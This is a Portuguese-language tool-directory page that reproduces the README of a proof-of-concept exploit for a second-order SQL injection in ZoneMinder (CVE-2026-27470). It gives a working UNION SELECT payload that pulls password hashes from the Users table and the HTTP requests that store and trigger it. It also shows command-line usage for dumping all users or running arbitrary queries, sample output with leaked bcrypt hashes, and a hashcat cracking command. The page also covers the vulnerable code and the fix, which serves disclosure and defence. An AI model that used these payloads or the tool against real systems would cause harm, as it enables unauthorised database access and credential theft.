Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-27470 — Prova de conceito de exploração para uma injeção SQL de segunda ordem no ZoneMinder (CVE-2026-27470). Demonstra extração autenticada de dados, incluindo credenciais de usuário, com opções para consultas personalizadas e despejo de hashes. | Kitploit
Ferramentas/GitHubGitHub/kocaemre/cve-2026-27470
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubkocaemre/cve-2026-27470

CVE-2026-27470

Prova de conceito de exploração para uma injeção SQL de segunda ordem no ZoneMinder (CVE-2026-27470). Demonstra extração autenticada de dados, incluindo credenciais de usuário, com opções para consultas personalizadas e despejo de hashes.

Ver Repositório
6há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

⚠️ YASAL UYARI / AVISO LEGAL

Bu araç yalnızca eğitim amaçlı ve yazılı izin alınmış güvenlik testleri için geliştirilmiştir. Sahip olmadığınız veya test etmek için açık yazılı izniniz olmayan sistemlere karşı kullanılması yasadışıdır. Yetkisiz erişim, birçok ülkede ağır cezai yaptırımlara tabidir (Türkiye TCK m.243-245, ABD CFAA, AB NIS Direktifi vb.). Bu aracın kötüye kullanımından doğacak her türlü yasal sorumluluk kullanıcıya aittir; yazar hiçbir sorumluluk kabul etmez.

Esta ferramenta é fornecida estritamente para fins educacionais e de pesquisa de segurança autorizada. Usá-la contra sistemas que você não possui ou para os quais não tem permissão explícita por escrito para testar é ilegal. O acesso não autorizado pode violar leis como a CFAA (EUA), o Computer Misuse Act (Reino Unido) e legislação equivalente em todo o mundo. O autor não assume nenhuma responsabilidade por qualquer uso indevido desta ferramenta.


CVE-2026-27470 — Injeção SQL de Segunda Ordem no ZoneMinder

CVE CVSS Affected Fixed

Prova de conceito de exploração para uma vulnerabilidade de injeção SQL de segunda ordem no ZoneMinder. Um usuário autenticado com permissões de edição e visualização de pode extrair dados arbitrários do banco de dados — incluindo todas as credenciais de usuário.

Events

Visão Geral

CampoDetalhes
ID CVECVE-2026-27470
SeveridadeALTA — CVSS 8.8
VetorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
AfetadosZoneMinder ≤ 1.36.37 e 1.37.61 – 1.38.0
Corrigido em1.36.38 / 1.38.1
Arquivoweb/ajax/status.php → getNearEvents()
CWECWE-89: Neutralização Incorreta de Comandos SQL
Autenticação NecessáriaSim — permissão de edição + visualização de Events

Detalhes da Vulnerabilidade

O Padrão de Segunda Ordem

Esta é uma injeção SQL de segunda ordem (armazenada) clássica. O ataque ocorre em duas fases separadas, razão pela qual scanners tradicionais frequentemente não a detectam.

Fase 1 — Gravação Segura

O atacante renomeia um evento com uma carga maliciosa. O ZoneMinder usa corretamente uma consulta parametrizada aqui, então a carga é armazenada com segurança no banco de dados sem acionar nenhum erro:

root@kitploit:~
POST /index.php HTTP/1.1

request=event&action=rename&id=1&eventName=' UNION SELECT Password,NULL FROM Users LIMIT 0,1-- -
root@kitploit:~
// web/ajax/event.php — seguro ✅
dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', [$_REQUEST['eventName'], $id]);

Neste ponto, tudo parece limpo. A carga está silenciosamente na coluna Events.Name.

Fase 2 — Leitura Vulnerável

O atacante aciona getNearEvents() solicitando os eventos próximos para o mesmo registro de evento. A função lê o valor Name armazenado de volta do banco de dados e o concatena diretamente em uma nova consulta SQL sem qualquer escape:

root@kitploit:~
GET /index.php?request=status&entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1
root@kitploit:~
// web/ajax/status.php ~linha 460 — VULNERÁVEL ❌
$event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]);

$sql = 'SELECT E.Id, E.StartDateTime FROM Events E
        INNER JOIN Monitors M ON E.MonitorId = M.Id
        WHERE E.Name >= \'' . $event[$_REQUEST['sort_field']] . '\'  // ← ponto de injeção
        AND (' . $filter->sql() . ') AND E.Id < ' . $event['Id'];

A carga armazenada rompe o contexto de string e o UNION SELECT injetado é executado, vazando dados no campo NextEventId da resposta JSON:

root@kitploit:~
{
  "result": "Ok",
  "nearevents": {
    "EventId": "1",
    "NextEventId": "$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6",
    "NextEventStartTime": null
  }
}

Por Que É Perigoso

O desenvolvedor cometeu um erro muito comum: sanitizou corretamente a entrada do usuário no momento da gravação, criando uma falsa sensação de segurança. A suposição de que "dados do nosso próprio banco de dados são seguros" permitiu que a vulnerabilidade existisse no caminho de leitura por anos. WAFs e a maioria dos scanners automatizados não detectarão isso porque a solicitação de gravação parece completamente limpa.


Uso

Requisitos

root@kitploit:~
pip install requests

Opções

root@kitploit:~
-t, --target      URL do alvo (ex.: http://10.10.10.10:8080)
-u, --username    Nome de usuário do ZoneMinder
-p, --password    Senha do ZoneMinder
--event-id        ID do evento a ser usado como vetor de injeção
--query           Consulta SQL personalizada a ser executada
--dump-users      Extrair todos os nomes de usuário e hashes de senha
--field           Campo de injeção: Name (padrão) ou Cause
--no-restore      Não restaurar o nome do evento após a exploração

Exemplos

root@kitploit:~
# Verificar a versão do banco de dados (teste mais simples)
python3 poc.py -t http://ALVO -u admin -p admin --event-id 1 \
  --query "SELECT VERSION()"

# Extrair todos os usuários e hashes de senha
python3 poc.py -t http://ALVO -u admin -p admin --event-id 1 \
  --dump-users

# Injetar pelo campo Cause em vez de Name
python3 poc.py -t http://ALVO -u admin -p admin --event-id 1 \
  --field Cause --dump-users

# Consulta personalizada
python3 poc.py -t http://ALVO -u admin -p admin --event-id 1 \
  --query "SELECT @@hostname"

Saída

root@kitploit:~
╔══════════════════════════════════════════════════════════╗
║   CVE-2026-27470 — ZoneMinder Second-Order SQLi PoC     ║
║   CVSS 8.8 | Authenticated | Events Permission           ║
╚══════════════════════════════════════════════════════════╝

[*] Target    : http://10.10.10.10:8080
[*] Logging in...
[+] Session established.
[+] Event ID (manual): 1
[*] Injecting payload (Name field)...
[+] Payload stored via parameterized query — looks clean in DB.
[*] Triggering second-order injection...
[*] HTTP 200
[*] Event name restored.

[+] User count: 2

[*] Running query: SELECT Username FROM Users LIMIT 0,1
[*] Running query: SELECT Password FROM Users LIMIT 0,1
[+] User 1: admin:$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6

[*] Running query: SELECT Username FROM Users LIMIT 1,1
[*] Running query: SELECT Password FROM Users LIMIT 1,1
[+] User 2: operator:$2b$12$xK8s...

Fluxo do Ataque

root@kitploit:~
Atacante                      ZoneMinder                     MariaDB
   │                               │                              │
   │  POST /index.php              │                              │
   │  action=rename                │                              │
   │  eventName=<PAYLOAD>  ──────► │                              │
   │                               │  UPDATE Events SET Name=?  ──►│
   │                               │  (parameterized — safe)      │
   │                               │◄─────────────────────────────│
   │                               │                              │
   │  GET /index.php               │                              │
   │  entity=nearevents    ──────► │                              │
   │  sort_field=Name              │  SELECT * FROM Events WHERE  │
   │                               │  Id=?                      ──►│
   │                               │◄── Name = '<PAYLOAD>' ───────│
   │                               │                              │
   │                               │  builds SQL string:          │
   │                               │  WHERE Name >= '<PAYLOAD>'   │
   │                               │  (no escaping!)              │
   │                               │  UNION SELECT executes ────► │
   │                               │◄── credentials ──────────────│
   │◄── JSON with leaked data ─────│                              │

Impacto

  • Confidencialidade: Leitura completa do banco de dados — todos os hashes de usuário, chaves de API, configurações de monitores, configurações do sistema
  • Integridade: Dependendo da configuração do driver do banco de dados, consultas empilhadas podem permitir modificação de dados
  • Escalação de Privilégios: Quebre o hash bcrypt do admin offline e obtenha acesso total ao ZoneMinder
root@kitploit:~
# Quebrar hashes coletados com hashcat
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

Notas

  • Events.Name é varchar(64) no banco de dados — mantenha as cargas de injeção abaixo de 63 caracteres
  • O resultado da injeção aparece em nearevents.NextEventId na resposta JSON
  • O ZoneMinder usa bcrypt para hash de senhas (modo 3200 para hashcat)
  • A proteção CSRF é tratada automaticamente pelo PoC

Correção

Atualize o ZoneMinder para 1.36.38 ou 1.38.1.

A correção é usar um placeholder de consulta parametrizada para o valor armazenado em vez de concatenação de strings:

root@kitploit:~
// Antes (vulnerável)
$sql = "... WHERE E.Name >= '" . $event[$sort_field] . "'";

// Depois (corrigido)
$sql = "... WHERE E.Name >= ?";
$result = dbQuery($sql, [$event[$sort_field]]);

Referências

  • GitHub Security Advisory GHSA-r6gm-478g-f2c4
  • ZoneMinder 1.36.38 Release
  • ZoneMinder 1.38.1 Release

Aviso Legal

Esta ferramenta é exclusivamente para fins educacionais e de pesquisa de segurança autorizada.
Não a use contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar.

Baixar ferramenta